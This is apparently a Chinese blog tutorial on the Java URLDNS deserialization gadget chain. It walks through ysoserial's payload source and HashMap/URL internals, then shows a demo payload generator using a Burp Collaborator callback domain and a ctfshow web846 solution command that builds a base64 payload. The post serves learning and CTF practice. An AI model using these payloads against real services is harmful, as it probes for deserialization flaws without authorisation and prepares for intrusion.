目录

  1. 1. 前言
  2. 2. URLDNS
    1. 2.1. 条件
    2. 2.2. ysoserial poc
    3. 2.3. 跟踪HashMap类
    4. 2.4. hash函数
    5. 2.5. 关于put
    6. 2.6. Gadget
  3. 3. demo
  4. 4. 实战
    1. 4.1. ctfshow web846

LOADING

第一次加载文章图片可能会花费较长时间

要不挂个梯子试试?(x

加载过慢请开启缓存 浏览器默认开启

URLDNS链

2023/7/28 Web Java 反序列化
  |     |   总文章阅读量:

前言

年轻人的第一条java反序列化链子

参考:

https://boogipop.com/2023/03/02/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E7%A0%94%E7%A9%B6

https://fushuling.com/index.php/2023/01/30/java%e5%ae%89%e5%85%a8%e7%ac%94%e8%ae%b0/

https://blog.csdn.net/rfrder/article/details/119678492

URLDNS

条件

这条利用链不能进行命令执行,只可以发送一次DNS请求,但它完全使用Java内置的类构造,对第三方库没有依赖,此外在目标没有回显的时候(java题里很常见),能够通过DNS请求得知是否存在反序列化漏洞

ysoserial poc

直接看URLDNS.java的主体部分

package ysoserial.payloads;

import java.io.IOException;
import java.net.InetAddress;
import java.net.URLConnection;
import java.net.URLStreamHandler;
import java.util.HashMap;
import java.net.URL;

import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;

@SuppressWarnings({ "rawtypes", "unchecked" })
@PayloadTest(skip = "true")
@Dependencies()
@Authors({ Authors.GEBL })
public class URLDNS implements ObjectPayload<Object> {

        public Object getObject(final String url) throws Exception {

                //Avoid DNS resolution during payload creation
                //Since the field <code>java.net.URL.handler</code> is transient, it will not be part of the serialized payload.

                URLStreamHandler handler = new SilentURLStreamHandler();
                HashMap ht = new HashMap(); // HashMap that will contain the URL
                URL u = new URL(null, url, handler); // URL to use as the Key
                ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.


                Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.
                return ht;
        }

        public static void main(final String[] args) throws Exception {
                PayloadRunner.run(URLDNS.class, args);
        }

        static class SilentURLStreamHandler extends URLStreamHandler {

                protected URLConnection openConnection(URL u) throws IOException {
                        return null;
                }

                protected synchronized InetAddress getHostAddress(URL u) {
                        return null;
                }
        }
}

在这个URLDNS类中,ysoserial会调用这个类的getObject方法来获得payload,这个方法最后返回一个对象,即被序列化的对象,在这里是HashMap ht

接下来我们分析一下这段poc,

第一部分:首先从URL的创建开始

URLStreamHandler handler = new SilentURLStreamHandler();

HashMap ht = new HashMap(); // HashMap that will contain the URL
URL u = new URL(null, url, handler); // URL to use as the Key
ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.
  • 先是用URLStreamHandler创建了一个句柄,这个句柄可以打开一个指定的url(URLStreamHandler 是一个抽象类,这里 ysoserial 写了一个 SilentURLStreamHandler 类继承 URLStreamHandler ,重写了 getHostAddress 方法,防止在 put 的时候就触发)
  • 创建一个哈希表HashMap,调用 put 方法将 URL 对象 u 作为key存入到了哈希表中

第二部分:

Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.
return ht;
}

public static void main(final String[] args) throws Exception {
    PayloadRunner.run(URLDNS.class, args);
}
  • 这里利用反射将url对象u的 hashCode 设置成了-1,为什么要这么做我们一会在分析具体的触发过程时会提到
  • 最后返回了HashMap对象ht,并用PayloadRunner运行该利用链

那么URLDNS链的重点就在这个HashMap类上


跟踪HashMap类

我们知道调用链需要满足重写readObject方法,由此进行反序列化

因此我们f12查看java.util.HashMap的源码定义,找到其中的readObject方法

private void readObject(java.io.ObjectInputStream s)
        throws IOException, ClassNotFoundException {
        // Read in the threshold (ignored), loadfactor, and any hidden stuff
        s.defaultReadObject();
        reinitialize();
        if (loadFactor <= 0 || Float.isNaN(loadFactor))
            throw new InvalidObjectException("Illegal load factor: " +
                                             loadFactor);
        s.readInt();                // Read and ignore number of buckets
        int mappings = s.readInt(); // Read number of mappings (size)
        if (mappings < 0)
            throw new InvalidObjectException("Illegal mappings count: " +
                                             mappings);
        else if (mappings > 0) { // (if zero, use defaults)
            // Size the table using given load factor only if within
            // range of 0.25...4.0
            float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f);
            float fc = (float)mappings / lf + 1.0f;
            int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?
                       DEFAULT_INITIAL_CAPACITY :
                       (fc >= MAXIMUM_CAPACITY) ?
                       MAXIMUM_CAPACITY :
                       tableSizeFor((int)fc));
            float ft = (float)cap * lf;
            threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?
                         (int)ft : Integer.MAX_VALUE);
            @SuppressWarnings({"rawtypes","unchecked"})
                Node<K,V>[] tab = (Node<K,V>[])new Node[cap];
            table = tab;

            // Read the keys and values, and put the mappings in the HashMap
            for (int i = 0; i < mappings; i++) {
                @SuppressWarnings("unchecked")
                    K key = (K) s.readObject();
                @SuppressWarnings("unchecked")
                    V value = (V) s.readObject();
                putVal(hash(key), key, value, false, false);
            }
        }
    }

可以看到这里重写了readObject方法,具体原因如下:

HashMap中,由于Entry的存放位置是根据Key的Hash值来计算,然后存放到数组中的,对于同一个Key,在不同的JVM实现中计算得出的Hash值可能是不同的。Hash值不同导致的结果就是:有可能一个HashMap对象的反序列化结果与序列化之前的结果不一致。即有可能序列化之前,Key=’AAA’的元素放在数组的第0个位置,而反序列化值后,根据Key获取元素的时候,可能需要从数组为2的位置来获取,而此时获取到的数据与序列化之前肯定是不同的

readObject方法的最后,可以看到putVal里面将HashMap的键名计算了hash

image-20230822173052048

hash函数

继续跟踪hash方法

image-20230822174016581

在hash方法中调用了key.hashCode方法,而Object key我们可控,也就是我们可以调用可控类中的 hashCode 方法

我们知道在 URLDNS.java 中是把URL对象u传入了key中,即调用 hashCode 的时候调用的是 java.net.URL.hashCode

所以我们直接f12去找java.net.URLhashCode方法

image-20230822174826476

只要传入URL的实例对象,那么就会触发URL.hashCode,并且这里有个判断,假如 hashCode 不为 -1 则直接return hashCode,反之就进入我们的目的函数handler.hashCode(),这就是我们前面提到要将 hashCode 的值设置为-1的原因

当我们new一个URL对象后,就进入了目标函数

f12跟进这个函数

image-20230822175253235

可以发现getHostAddress(u)函数,根据函数名也知道这是获取主机地址的函数,在网络上也就是一次dns查询

也就是说,假如存在反序列化漏洞,那么我可以传入我们VPS的地址,并开启一个监听,这样就可以校验是否存在Java反序列化漏洞


关于put

在上面的分析中,漏洞的入口在HashMaphash()方法,我们通过重写的 readObject 调用

putVal(hash(key), key, value, false, false);

但是翻一下 HashMap 的源码可以发现里面最常用的 put 方法就有:

image-20240901161741013

也就是说抛开反序列化的话,只要用一次 put 就会触发一次 URLDNS

image-20240901162036154

那么为了不让 put 时就触发 URLDNS,ysoserial重写了URLStreamHandler.getHostAddress()

我们也重写测试一下,指定 handler 为我们重写的 TestURLStreamHandler

public class Main {
    public static void main(String[] args) throws IOException {
        HashMap ht=new HashMap();
        String url = "http://dyfuyho1stuv3ad58l1kmctia9g14rsg.oastify.com";
        URLStreamHandler handler = new TestURLStreamHandler();
        URL u = new URL(null,url,handler);
        ht.put(u,url);
    }
}
class TestURLStreamHandler extends URLStreamHandler {
    @Override
    protected URLConnection openConnection(URL u) throws IOException {
        return null;
    }
    @Override
    protected synchronized InetAddress getHostAddress(URL u) {
        return null;
    }
}

这样就不会再因为ht.put触发URLDNS了


Gadget

思维导图 by huamang

image-20240129114830466

主要的目标是调用 URLStreamHandler->getHostAddress(u)

  1. HashMap->readObject()
  2. HashMap->hash()
  3. URL->hashCode()
  4. URLStreamHandler->hashCode()
  5. URLStreamHandler->getHostAddress()
  6. InetAddress.getByName()

demo

仿照ysoserial写一个urldns链序列化与反序列化的demo

Main.java

package com.example;

import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.*;
import java.util.HashMap;

public class Main {
    public static void Serialize(Object obj) throws IOException {
        ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("1.bin"));
        oos.writeObject(obj);
    }
    public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
        HashMap ht=new HashMap();
        String url = "http://dyfuyho1stuv3ad58l1kmctia9g14rsg.oastify.com";
        URLStreamHandler handler = new TestURLStreamHandler();
        URL u = new URL(null,url,handler);
        ht.put(u,url);

        Class clazz = Class.forName("java.net.URL");
        Field field = clazz.getDeclaredField("hashCode");
        field.setAccessible(true);
        field.set(u,-1);

        Serialize(ht);
    }
}
class TestURLStreamHandler extends URLStreamHandler {
    @Override
    protected URLConnection openConnection(URL u) throws IOException {
        return null;
    }
    @Override
    protected synchronized InetAddress getHostAddress(URL u) {
        return null;
    }
}

ois.java

package com.example;

import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.net.URL;
import java.util.HashMap;

public class ois {
    public static Object unserialize(String filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois=new ObjectInputStream(new FileInputStream(filename));
        Object obj=ois.readObject();
        return obj;
    }
    public static <serialize> void main(String[] args) throws IOException, ClassNotFoundException {
        serialize unser =(serialize)unserialize("1.bin");
        System.out.println(unser);
    }
}

利用burp的collaboration功能起一个域名监听

image-20240901164447684


实战

ctfshow web846

ctfshow会对你post提交的ctfshow参数进行base64解码
然后进行反序列化
构造出对当前题目地址的dns查询即可获得flag 

在linux下执行命令

java -jar ysoserial-all.jar URLDNS http://7845016f-8187-4375-92c3-90e82fe40990.challenge.ctf.show|base64

然后把得到的base64字符串用burpsuite传入即可